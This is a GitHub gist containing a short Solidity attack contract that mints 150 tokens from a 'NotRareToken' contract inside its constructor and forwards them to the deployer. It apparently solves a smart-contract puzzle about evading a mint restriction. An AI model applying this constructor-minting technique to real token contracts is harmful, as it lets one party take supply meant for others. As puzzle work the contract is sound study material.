Created
October 29, 2022 01:20
-
-
Save cygaar/fd5e0f916285ae3eebe181f7a3e08eaf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract OptimizedAttacker { | |
constructor(address victim) payable { | |
NotRareToken nrt = NotRareToken(victim); | |
unchecked { | |
uint256 startingId = nrt.balanceOf(nrt.ownerOf(1)); | |
for (uint i = 1; i <= 150; ++i) { | |
nrt.mint(); | |
} | |
for (uint i = 1; i <= 150; ++i) { | |
nrt.transferFrom(address(this), msg.sender, startingId + i); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment